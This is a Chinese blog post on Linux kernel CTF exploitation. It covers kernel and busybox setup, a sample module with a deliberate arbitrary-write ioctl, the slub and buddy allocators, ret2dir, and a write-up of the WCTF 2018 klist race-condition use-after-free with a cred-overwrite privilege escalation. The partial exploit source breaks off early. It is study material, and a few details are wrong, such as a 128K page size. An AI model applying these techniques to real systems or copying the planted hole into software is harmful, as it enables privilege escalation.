Kernel再入门

字数统计: 15.8k字   |   阅读时长≈ 77分

之前已经将 kernel-pwn的各种方法都大概复现了一遍。这里主要是由于看到一篇文章，讲到了如何编写一个内核模块，以及搭建Kernel的环境。所以这篇文章，打算跟着走一遍

内核题目基础

这里讲一下一般如何出一道内核题目，主要参考自这篇文章。

编译内核

如果需要特定版本的内核，可以直接下载已经编译好的内核，也可以自己下载内核源码，然后自行编译。

编译内核，首先需要安装一些依赖工具，如下命令：

1
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils
1
sudo apt-get install flex

下载了内核源码后，解压后，可以执行如下命令，选择配置：

1
make menuconfig

解释一下其中的部分配置：

  • kernel debugging
  • Compile-time checks and complier options -> Compile the kernel with debug info 和 Compile the kernel with frame pointers
  • KGDB：kernel debugger

将config文件中，这一项改为如下形式：

1
CONFIG_SYSTEM_TRUSTED_KEYS=""

然后可以运行如命令编译内核，生成 bzImage：

1
make bzImage -j4

-j4参数，是用来加快编译的。编译后，可以从 ./arch/x86/boot/中拿到编译的 bzImage，或者从源码根目录拿到 vmlinux。这里二者的区别，主要如下：

  • bzImage 是 vmlinux 经过 gzip 压缩后的文件，适用于大内核
  • vmlinux 是 未压缩的内核，其是 ELF文件，即编译出来的最原始文件
  • vmlinuz是 vmlinux 的压缩文件
  • zImage 是 vmlinux 经过 gzip 压缩的文件，适用于小内核

如果make 时错误提示：

1
2
3
4
5
6
make[1]: *** No rule to make target 'debian/certs/benh@debian.org.cert.pem', needed by 'certs/x509_certificate_list'。 停止。
make[1]: *** 正在等待未完成的任务....
  CC      certs/system_keyring.o
  CC      kernel/groups.o
Makefile:1002: recipe for target 'certs' failed
make: *** [certs] Error 2

解决方法：打开.config文件并注释掉这一行

CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/benh@debian.org.cert.pem"

直接vim .config,再把上面那行改成：#CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/benh@debian.org.cert.pem"
如果要下载编译好的镜像，可以使用如下命令：

1
2
3
sudo apt search linux-image-		//得到镜像名

sudo apt download linux-image-5.4.0-52-generic	//下载镜像

构建文件系统

busybox中包含了一些常用的命令，使用 busybox可以快速地构建起文件系统

要想自己编译 busybox，可从这里下载源码。

下载完成后，解压进入源码根目录输入 make menuconfig进行配置。可以进入 Setting选上 Build static binary (no shared libs)，这样则不会依赖 libc文件。

然后，输入 make install -j4进行编译，busybox编译要比 kernel快很多。

编译完后会生成一个 install的目录，此时编译已经完成。

后续即可进行一些简单的初始化，例如 创建 proc\sys等文件夹，创建 init文件。init文件是系统启动后的默认入口，如下是最简单的例子：

1
2
#!/bin/sh
/bin/sh

有了该文件，我们进入 busybox后就会启动一个最简单的 /bin/sh进程.

一般还需要增加其他文件夹，比如 /etc和 /home，以及一些配置文件：

1
2
3
4
5
6
7
8
9
mkdir etc
mkdir home
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd

echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group

echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

这里我们做题会常见，不做过多解释。这里除了是 init，还可以向 /etc/init.d中增加启动脚本 rcS(BalsnCTF的Kernel题就是如此)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod xxx.ko
chmod 777 /dev/xxx

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

启动内核

这里讲一下启动内核的 run.sh文件，常见如下所示：

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokalsr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic

讲几个以前不知道的命令，--nographic和 console=ttyS0一起使用，启动的界面就变成当前终端。不然会开一个 VNC服务。

-monitor配置用户模式的网络，将监视器重定向到主机设备 /dev/null

在内核中添加 syscall

在内核源码下，添加一个目录 mysyscall，然后创建 Makefile 和 mysyscall.c

1
2
3
4
mkdir mysyscall
cd mysyscall 
touch mysyscall.c
touch Makefile

mysyscall.c如下示例：

1
2
3
4
5
6
7
#include <linux/kernel.h>
#include <linux/syscalls.h>

SYSCALL_DEFINE0(mysyscall) {
    printk("This is test syscall.\n");
    return 0;
}

然后，编辑 Makefile如下：

1
obj-y := mysyscall.o	//指定编译的模块名

然后修改源码根目录下的 Makefile，添加 mysyscall/模块：

1
core-y += kernel/ certs/ mm/ fs/ ipc/ mysyscall/

再编辑 include/linux/syscall.h，在末尾 #endif之前添加 mysyscall函数原型：

1
2
/* my syscall */
asmlinkage long sys_mysyscall(void);

然后再修改 arch/x86/entry/syscalls/syscall_32.tbl和 arch/x86/entry/syscalls/syscall_64.tbl，添加自定义的 系统调用号：

1
2
3
4
//syscall_32.tbl
666 i386	mysyscall		sys_mysyscall
//syscall_64.tbl
666 64		mysyscall		sys_mysyscall

自此，加完成了 syscall的添加，如果后续调用了 666号，就会调用我们自己的函数。

添加完系统调用后，需要再次编译内核，才会生效。

编译内核模块

在内核源码下添加一个目录 mypwn，然后创建 Makefile和 mypwn.c。

1
2
3
4
mkdir mypwn
cd mypwn
touch Makefile
touch mypwn.c

然后编辑 mypwn.c，如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
MODULE_LICENSE("GPL");
struct cred c1;
#define WRITE_ANY 0xdead

struct in_args{
    uint64_t addr;
    uint64_t size;
    char __user *buf;
};

static long write_any(struct in_args *args){
    long ret = 0;
    char *addr = (void *)args->addr;
    if(copy_from_user(addr,args->buf,args->size)){
        return -EINVAL;
    }
    return ret;
}

static long mypwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
    long ret = -EINVAL;
    struct in_args in;
    if(copy_from_user(&in,(void *)arg,sizeof(in))){
        return ret;
    }
    switch(cmd){
        case WRITE_ANY:
            ret = write_any(&in);
            break;
        default:
            ret = -1;
    }
    return ret;
}

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open =      NULL,
    .release =   NULL,
    .read =      NULL,
    .write =     NULL,
    .unlocked_ioctl = mypwn_ioctl
};

static struct miscdevice misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name  = "mypwn",
    .fops = &fops
};

static int mypwn_init(void) {
    printk("This is my ko!\n");
    printk("size of cred : %ld \n",sizeof(c1));
    return 0;
}
static void mypwn_exit(void) {
    printk("<1> Bye, cruel world\n");
}

module_init(mypwn_init);
module_exit(mypwn_exit);

编辑 Makefile如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
obj-m := mypwn.o				//指定模块名		

KERNELDR := ~/kernel/linux-5.9.11/	//指定内核源码目录

PWD := $(shell pwd)  				//当前目录

modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  //编译为模块

moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  

        //清楚不需要的无关代码
clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

然后使用 make命令编译即可。最后将生成的 mypwn.ko放入文件系统打包即可。使用如下命令注册模块：

1
insmod ./mypwn.ko

内核 内存管理 slub

关于 slub，看到一篇讲得十分通俗易懂的文章，十分推荐。虽然已有珠玉在前，但是为了加深自己的印象，不免做了搬砖工。

slub 结构体

内核管理页面使用了2个算法：伙伴算 和 slub算法。伙伴算法以页为单位管理内存，所以并不满足大多数程序需要。所以 系统常用的是 slub算法，该系统运行于 slub算法，为内核提供小内存管理的功能，如几字节或 几十个字节。

slub把内存分组管理，每个组分别包含 2^3\ 2^4 \ … \ 2^11个字节，在 4k 页大小的默认情况下，还加上两个特殊的组 96B 和 192 B，总共 11组。当如果需要申请更大的内存时，需要直接使用伙伴系统即可。

slub系统首先需要通过 伙伴系统来获得内存，这里类似 Ptmalloc 从 sysmalloc中获得内存。slub的管理结构中，重点包含 4 类数据：

  1. 首先是 slub数组 名为 kmalloc_caches[12]，该数组定义如下：
1
struct kmem_cache kmalloc_caches[PAGE_SHIFT] __cacheline_aligned;

每个数组元素对应一种大小的内存，可以把一个 kmem_cache结构体看作是一个特定大小内存的管理链表，按照上述大小分布 总共有 12组。

  1. 然后是 kmem_cache[12]数组中 每一个 kmem_cache结构体，其中有两个重点数据结构 kmem_cache_node和 kmem_cache_cpu。
  2. kmem_cache_cpu的数据结构如下，其中 freelist链表保存了下一快 空闲的内存地址（这里称为 object结构体），page指向伙伴系统分配给 kmem_cache的一整页连续内存。当申请空闲内存时，会先从 kmem_cache_cpu中分配。
1
2
3
4
5
6
kmem_cache_cpu:
	freelist
	page
	node
	offset
	objects
  1. kmem_cache_node结构如下，其中 partial也指向一些内存页，如果 kmem_cache_cpu中没有满足的空闲内存，那么系统将会从 kmem_cache_node中寻找
1
2
3
4
5
6
kmem_cache_node:
	nr_partial
	nr_slabs
	partial
	full
	...
  1. object是指的位于 内存页中的一块空闲内存，该结构如下。物理页是按照 对象 object大小组织成单向链表，对象大小由 objsize指定；void 指向的是下一个空闲的 object的首地址，该指针的位置是每个 object的起始地址 + offset。这样object对象即可链接为单链表结构。
1
2
objsize
void *

我们可以使用 /proc/slabinfo或 slabtop工具来查看 slab的分配状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
slabinfo - version: 2.1
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
nf_conntrack         408    408    320   51    4 : tunables    0    0    0 : slabdata      8      8      0
au_finfo               0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
au_icntnr              0      0    832   39    8 : tunables    0    0    0 : slabdata      0      0      0
au_dinfo               0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
ovl_inode          15622  15886    688   47    8 : tunables    0    0    0 : slabdata    338    338      0
ext4_groupinfo_4k    504    504    144   56    2 : tunables    0    0    0 : slabdata      9      9      0
fsverity_info          0      0    256   64    4 : tunables    0    0    0 : slabdata      0      0      0
MPTCPv6                0      0   1856   17    8 : tunables    0    0    0 : slabdata      0      0      0
ip6-frags              0      0    184   44    2 : tunables    0    0    0 : slabdata      0      0      0
PINGv6               130    130   1216   26    8 : tunables    0    0    0 : slabdata      5      5      0
RAWv6               1274   1300   1216   26    8 : tunables    0    0    0 : slabdata     50     50      0
UDPv6                264    264   1344   24    8 : tunables    0    0    0 : slabdata     11     11      0
tw_sock_TCPv6          0      0    248   66    4 : tunables    0    0    0 : slabdata      0      0      0
request_sock_TCPv6      0      0    304   53    4 : tunables    0    0    0 : slabdata      0      0      0
TCPv6                117    117   2368   13    8 : tunables    0    0    0 : slabdata      9      9      0
kcopyd_job             0      0   3312    9    8 : tunables    0    0    0 : slabdata      0      0      0
dm_uevent              0      0   2888   11    8 : tunables    0    0    0 : slabdata      0      0      0
scsi_sense_cache    1536   1536    128   64    2 : tunables    0    0    0 : slabdata     24     24      0
mqueue_inode_cache    136    136    960   34    8 : tunables    0    0    0 : slabdata      4      4      0
fuse_inode           936    936    832   39    8 : tunables    0    0    0 : slabdata     24     24      0
ecryptfs_key_record_cache      0      0    576   56    8 : tunables    0    0    0 : slabdata      0      0      0
ecryptfs_inode_cache      0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
ecryptfs_file_cache      0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0

这个文件会显示目前所有的 kmem_cache，第一列是每个 mem_cache的名字，以第一个 nf_conntrack为例说明：

  • active_objs：目前使用中的object数量，一共分配出了 408个 objects
  • num_objs：总共能够分配的object数量，这里最大是 408
  • objsize：每个object的大小，这里为320bytes
  • objperslab：每个slab可以有多少个object，这里是51个
  • pagesperslab：每个slab对应几个page，这里是4个

slub 分配过程

内核向 slub申请内存块 object时，slub整体流程如下所示。

申请内存

第一次申请

第一次向 slub申请时，此时 kmem_cache_cpu中 和 kmem_cache_node中没有任何可用的 slab可以使用。因此 slub将会向 伙伴系统 申请 空闲的内存页，并把这些页面分为很多个 object。然后取出其中的一个 object，将其标识为 已使用，返回给用户，其余的 object标志位空闲并放入 kmem_cache_cpu中保存。kmem_cache_cpu中的 freelist即保留了下一个空闲 object的地址。

继续申请

当我们继续申请时，此时 kmem_cache_cpu中仍然有空闲对象，所以 继续从 freelist中取出 返回给用户即可。

kmem_cache_cpu无空闲内存

当申请了多次后，此时 kmem_cache_cpu中已经没有 空闲对象，所以会转而向kmem_cache_node申请。如果 kmem_cache_node的 partial中有空闲的 object，所以从 kmem_cache_node的 partial变量中获取有空闲 object的 slub，并返回给用户。

然后kmem_cache_cpu中已经都被占用的 页面都放入 kmem_cache_cpu中，kmem_cache_node中有两个双链表，partial和 full分别盛放不满的页面和全满的页面，kmem_cache_node就是从 partial中挑出slab返回。

kmem_cache_node无空闲内存

当继续申请后，kmem_cache_node中也没有空闲对象后，就只能向内存管理器（伙伴系统）申请 页面，并把该页面初始化，返回第一个空闲对象。

释放内存

向 slub系统释放内存块对象时，如果 kmem_cache_cpu中缓存的页面就是该对象所在页面，则直接把该对象放入空闲链表 freelist即可；如果 kmem_cache_cpu中缓存的页面不是该对象所在页面，然后把该对象释放到该对象所在页面中。释放对象可以分为一下三种情况：

释放前该页面无空闲内存

如果对象在释放前，其所在页面中无空闲内存。那么释放该对象后，该页面就是半满(partial)状态，所以需要把该页面添加到 kmem_cache_node中 partial链表中

释放前该页面是半满

如果释放前该页面是半满状态，即位于 kmem_cache_node的 partial链表中，则直接把该对象放入该页面即可

释放后该页面是全空

如果释放该对象后，该页面是全空状态，则需要将该页面释放掉。

伙伴系统

Linux实现

伙伴系统是用于分配以页为单位的大内存，且分配的内存大小必须都是2的整数次幂，这里的幂次叫 order，例如一页的大小是4K，order为1的块就是 2^1*4K=8k。伙伴系统分配页面主要用到以下函数即数据结构：

__get_free_pages()申请的内存是一整页，一页的大小一般是128K。该函数一般由于大块内存分配，申请的内存一般是连续的物理内存，返回的是虚拟地址（与物理地址相差固定的偏移，可使用 virt_to_phys()来转换），

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order)
用于以gfp_mask分配方式分配2的order次方个连续的物理页
其源码分析如下：
unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order)
{
	struct page *page;
 
	/*
	 * __get_free_pages() returns a 32-bit address, which cannot represent
	 * a highmem page
	 */
	#可见通过这个函数不能申请到高端内存
	VM_BUG_ON((gfp_mask & __GFP_HIGHMEM) != 0);
	#首先通过alloc_pages 申请到page，然后通过 page_address 将page 转成虚拟地址返回给用户
	#使用，由于这里已经判断page是否为null了。所以用于在调用__get_free_pages 只要判断
	#返回值是0就表示调用失败了.
	page = alloc_pages(gfp_mask, order);
	if (!page)
		return 0;
	return (unsigned long) page_address(page);
}

get_order函数用于从一个整数参数 size（必须是2的幂）中提取 order:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

/* Pure 2^n version of get_order */
static __inline__ __attribute_const__ int get_order(unsigned long size)
{
    int order;

    size = (size - 1) >> (PAGE_SHIFT - 1);
    order = -1;
    do {
        size >>= 1;
        order++;
    } while (size);
    return order;
}

当程序不需要页面时，它可用下列函数之一来释放它们。

1
2
void free_page(unsigned long addr);
void free_pages(unsigned long addr, unsigned long order);

可以通过 /proc/buddyinfo来知道每个内存区段上每个order下可获得的数据块数目。

可通过 /proc/pagetypeinfo来查看页面信息。

分配过程

每次分配时都寻找对应order的块。如果没有，就将 order更高的块分裂成2个 order低的块。释放时，如果两个order低的块是分裂出来的，就将他们合并为更高的order的块。

img

上图示例了分配最小单位是 64K时，初始最大快order=4，依次进行下面的操作：

  1. 初始状态

  2. 分配块A 34K，order=0

    • 没有order=0的块，切分order=4的块为2个order=3的块
    • 仍然没有order=0的块，再切分order=3的块
    • 仍然没有order=0的块，再切分order=2的块
    • 仍然没有order=0的块，再切分order=1的块
    • 将order=0的块返回

  3. 分配块B 66K，已有 order=1的块，直接分配

  4. 分配块C 35K，已有 order=0的块，直接分配

  5. 分配块D 67K，无order=1，切分order=2的块，返回

  6. 块B释放，order=1空闲

  7. 块D释放，因为与6中释放的块，都是由同一个块分裂而来，且都空闲，所以合并为order=2的块

  8. 块A释放，order=1空闲

  9. 块C释放，依次递归合并

ret2dir

原理分析

linux x86_64内存布局，可以参考此文，其中可以从下图中看到：

img

physmap区域直接映射到 0xffff888000000000 - 0xffffc87fffffffff，大小为 64TB。physmap是内核空间中一个大的、连续的虚拟内存空间它映射了部分或所有（取决于具体架构）的物理内存。也即我们的物理内存是会直接映射到该空间内的，而且是所有的物理空间。虚拟空间与物理空间的差别在于一个偏移。

那么，不管是用户虚拟内存空间还是内核虚拟内存空间，其都会映射到物理内存中，而两者都会在 physmap中留下映射。如果我们能够修改 physmap中的对应地址的数据，那么也就能修改用户空间或内核空间的数据。

此外，linux上面已经讲到了两种分配方法，其主要使用 kmalloc和 vmalloc函数：

kmalloc针对字节级做分配，要保证虚拟地址和物理地址都是连续的；

vmalloc请求页的倍数大小的内存，要保证虚拟地址连续，物理地址不连续。

而且 slub分配器是可以在 physmap上做内存分配操作，即 kmalloc(512)是可以分配到 physmap里面。

这里有一篇文章，详细讲述了该原理的测试。

利用分析

ret2dir主要是用来绕过内核 smep，smap的限制。加上 smep,smap保护之后，内核态不能直接执行用户态的代码。但是用户态分配的内存，也会条留在RAM中，这块内存在 physmap中是可以看到的，可以通过 mmap分配大量的内存，这样增大找到用户态内存的概率。早期，physmap是可以直接执行，但现在只能执行ROP。那么总体思路即为在内核地址找到一块用户态可以控制的内存：

  • mmap大量的内存(rop chains)，提高命中率
  • 泄露出 slab的地址，计算出 physmap的地址
  • 劫持内核执行流到 physmap上

2018-WCTF-klist

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall add_item(__int64 a1)
{
  __int64 chunk; // rax
  __int64 size; // rdx
  __int64 data; // rsi
  __int64 v4; // rbx
  __int64 v5; // rax
  __int64 result; // rax
  __int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF

  if ( copy_from_user(v7, a1, 16LL) || v7[0] > 0x400uLL )
    return -22LL;
  chunk = _kmalloc(v7[0] + 24, 21103296LL);
  size = v7[0];
  data = v7[1];
  *(_DWORD *)chunk = 1;
  v4 = chunk;
  *(_QWORD *)(chunk + 8) = size;
  if ( copy_from_user(chunk + 24, data, size) )
  {
    kfree(v4);
    result = -22LL;
  }
  else
  {
    mutex_lock(&list_lock);
    v5 = g_list;
    g_list = v4;
    *(_QWORD *)(v4 + 16) = v5;
    mutex_unlock(&list_lock);
    result = 0LL;
  }
  return result;
}

Add函数，可以通过 kmalloc申请一个堆块，并且将堆块的前 0x18当作一个管理结构，如下所示：

1
2
3
0x0-0x8 		flag
0x8-0x10:		size
0x10-0x18：	    next

其中 flag用于标记当前堆块的使用次数，size为大小，next指向下一个堆块。并且当将堆块插入 g_list链表时，首先会调用互斥锁，将堆块插入后，再解锁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall select_item(__int64 a1, __int64 a2)
{
  __int64 v2; // rbx
  __int64 v3; // rax
  volatile signed __int32 **v4; // rbp

  mutex_lock(&list_lock);
  v2 = g_list;
  if ( a2 > 0 )
  {
    if ( !g_list )
    {
LABEL_8:
      mutex_unlock(&list_lock);
      return -22LL;
    }
    v3 = 0LL;
    while ( 1 )
    {
      ++v3;
      v2 = *(_QWORD *)(v2 + 16);
      if ( a2 == v3 )
        break;
      if ( !v2 )
        goto LABEL_8;
    }
  }
  if ( !v2 )
    return -22LL;
  get((volatile signed __int32 *)v2);
  mutex_unlock(&list_lock);
  v4 = *(volatile signed __int32 ***)(a1 + 200);
  mutex_lock(v4 + 1);
  put(*v4);
  *v4 = (volatile signed __int32 *)v2;
  mutex_unlock(v4 + 1);
  return 0LL;
}

select用于从 g_list中选择需要的堆块，并放入 file+200处。而且放入时，也会先检查互斥锁，然后再解锁。这里还有一个 get和 put函数，分别如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall get(volatile signed __int32 *a1)
{
  _InterlockedIncrement(a1);
}

__int64 __fastcall put(volatile signed __int32 *a1)
{
  __int64 result; // rax

  if ( a1 )
  {
    if ( !_InterlockedDecrement(a1) )
      result = kfree();
  }
  return result;
}

get用于将堆块的 flag加1。put用于将堆块的flag减1，并且判断当堆块的 flag为0时，则将该堆块 free掉。这里都是原子操作，不存在竞争。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall remove_item(__int64 a1)
{
  __int64 list_head; // rax
  __int64 v2; // rdx
  __int64 v3; // rdi
  volatile signed __int32 *v5; // rdi

  if ( a1 >= 0 )
  {
    mutex_lock(&list_lock);
    if ( !a1 )
    {
      v5 = (volatile signed __int32 *)g_list;
      if ( g_list )
      {
        g_list = *(_QWORD *)(g_list + 16);
        put(v5);
        mutex_unlock(&list_lock);
        return 0LL;
      }
      goto LABEL_12;
    }
    list_head = g_list;
    if ( a1 != 1 )
    {
      if ( !g_list )
      {
LABEL_12:
        mutex_unlock(&list_lock);
        return -22LL;
      }
      v2 = 1LL;
      while ( 1 )
      {
        ++v2;
        list_head = *(_QWORD *)(list_head + 16);
        if ( a1 == v2 )
          break;
        if ( !list_head )
          goto LABEL_12;
      }
    }
    v3 = *(_QWORD *)(list_head + 16);
    if ( v3 )
    {
      *(_QWORD *)(list_head + 16) = *(_QWORD *)(v3 + 16);
      put((volatile signed __int32 *)v3);
      mutex_unlock(&list_lock);
      return 0LL;
    }
    goto LABEL_12;
  }
  return -22LL;
}

Remove操作，是将选择的堆块，从 g_list链表中移除，并且会对堆块的 flag减1。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall list_head(__int64 a1)
{
  __int64 head; // rbx
  unsigned __int64 v2; // rbx

  mutex_lock(&list_lock);
  get((volatile signed __int32 *)g_list);
  head = g_list;
  mutex_unlock(&list_lock);
  v2 = -(__int64)(copy_to_user(a1, head, *(_QWORD *)(head + 8) + 24LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
  put((volatile signed __int32 *)g_list);
  return v2;
}

list_head操作是先调用互斥锁，再从 g_list取出链表头堆块，再调用解锁。输出给用户，然后调用 put函数。

注意：我们查看每一次put操作，发现上面调用 put和 get时，都会调用互斥锁。而这里 在 put时却没有调用互斥锁。也就是存在了一个条件竞争漏洞。我们可以在执行 put函数之前，执行其他函数获得互斥锁，来构造一个条件竞争漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  __int64 *v5; // r13
  __int64 v6; // rsi
  _QWORD *v7; // rdi
  __int64 result; // rax

  v5 = *(__int64 **)(a1 + 200);
  mutex_lock(v5 + 1);
  v6 = *v5;
  if ( *v5 )
  {
    if ( *(_QWORD *)(v6 + 8) <= a3 )
      a3 = *(_QWORD *)(v6 + 8);
    v7 = v5 + 1;
    if ( copy_to_user(a2, v6 + 24, a3) )
    {
      mutex_unlock(v7);
      result = -22LL;
    }
    else
    {
      mutex_unlock(v7);
      result = a3;
    }
  }
  else
  {
    mutex_unlock(v5 + 1);
    result = -22LL;
  }
  return result;
}

然后，read、write都是调用 file+200处的堆块指针。

这里结合 read和 write，就能够构造一个悬垂指针，进而实现任意地址读写。

利用分析

  1. 构造 UAF

构造一个 fork进程，在子进程中 不断调用 Add和 Select将堆块放入 file+200处，然后再调用 remove将 flag设置为1 。而在父进程中不断调用 list_head。那么就存在这样一种情况。

当父进程的 list_head执行到 put之前时，此时互斥锁已经解锁。那么子进程就可以刚好调用了 一个 Add函数生成了一个新的链表头且执行了 remove此时flag为1，然后父进程执行 put时该新链表头flag减1后，该新堆块就会被释放。然而，此时该新堆块被释放了，却在 file+200处留下了堆块地址，形成了一个悬垂指针。整体流程如下

1
2
3
4
5
6
7
8
9
10
		parent process:					child process
mutex_lock()
        	get(old_chunk_head)
mutex_unlock()
mutex_lock()
                							Add(new_chunk_head)				flag=1
									 		Select(new_chunk_head)			flag+1=2
									 		Remove(new_chunk_head)			flag-1=1
mutex_unlock()
            put(new_chunk_head)												flag-1=0
  1. 任意地址读写

这里的任意地址读写并不是指定地址读写实现，而是通过 UAF漏洞修改 堆块结构中的 size，将其改大。让我们能够读写一个巨大的size。而这里就需要一个能够分配 释放的堆块，并且写入该堆块的函数。这里选择管道 pipe函数，其代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SYSCALL_DEFINE1(pipe, int __user *, fildes)                         //-->
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)            //-->
static int __do_pipe_flags(int *fd, struct file **files, int flags) //-->
int create_pipe_files(struct file **res, int flags)                 //-->
static struct inode * get_pipe_inode(void)                          //-->
struct pipe_inode_info *alloc_pipe_info(void)
... ...
// v4.4.110
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;   // #define PIPE_DEF_BUFFERS	16
pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);  
// v4.18.4
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);
    //kcalloc最终还是调用kmalloc分配了 n*size 大小的堆空间
		//static inline void *kcalloc(size_t n, size_t size, gfp_t flags)

可以看到 pipe函数也是通过 kzalloc实现，而 kzalloc就是加了一个将 kmalloc后的堆块清空。所以也是 kmalloc函数，那么只要size恰当，那么就一定能够将我们上面uaf的 new_chunk_head堆块申请出来，并写上数据。

那么利用pipe函数堆喷，就能够实现对 uaf的 new_chunk_head的size的修改。

  1. 覆写cred

得到任意地址读写的能力后，提权的方法其实有几种。覆写 cred、修改 vdso、修改prctl、修改 modprobe_path，但是除了 覆写 cred，另外几种都需要知道内核地址。这里无法泄露地址。

那么，直接选择爆破 cred地址，然后将其 覆写为 0，提权。这里选择爆破的标志位是 uid~fsgid在普通权限下都为 1000(0x3e8)。所以只要寻找到这个，就能确定 cred与 new_chunk_head的偏移。

这里我尝试了使用常用的设置 PR_SET_NAME,然后爆破寻找 该字符串地址，以此得到cred地址。但是结果是，爆破了很久在爆破出结果后，就卡住了，无法进行下一步。而调试的时候，竟然发现 子线程会一直循环执行，这点是我目前还没有考虑清楚的问题。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>

int fd;

typedef struct List{
    size_t size;
    char* buf;
}klist;

void ErrPro(char* buf){
    printf("Error %s\n",buf);
    exit(-1);
}

void Add(size_t sz, char* buffer){
    klist* list = malloc(sizeof(klist));
    list->size = sz-0x18;
    list->buf = buffer;  
    if(0 < ioctl(fd, 0x1337, list)){
        ErrPro("Add");
    }
}

void Select(size_t num){
    if(-1 == ioctl(fd, 0x1338, num)){
        ErrPro("Select");
    }
}

void Remove(size_t num){
    if(-1 == ioctl(fd, 0x1339, num)){
        ErrPro("Remove");
    }
}

void getHead(char* buf){
    if(-1 == ioctl(fd, 0x133A, buf)){
        ErrPro("getHead");
    }
}

int main(){
    int pid = 0;
    
    fd = open("/dev/klist", O_RDWR);
    if(fd < 0){
        ErrPro("Open dev");
    }

    char bufA[0x500] = { 0 };
    char bufB[0x500] = { 0 };
    char buf[0x500] = { 0 };
    memset(bufA, 'a', 0x500);
    memset(bufB, 'b', 0x500);

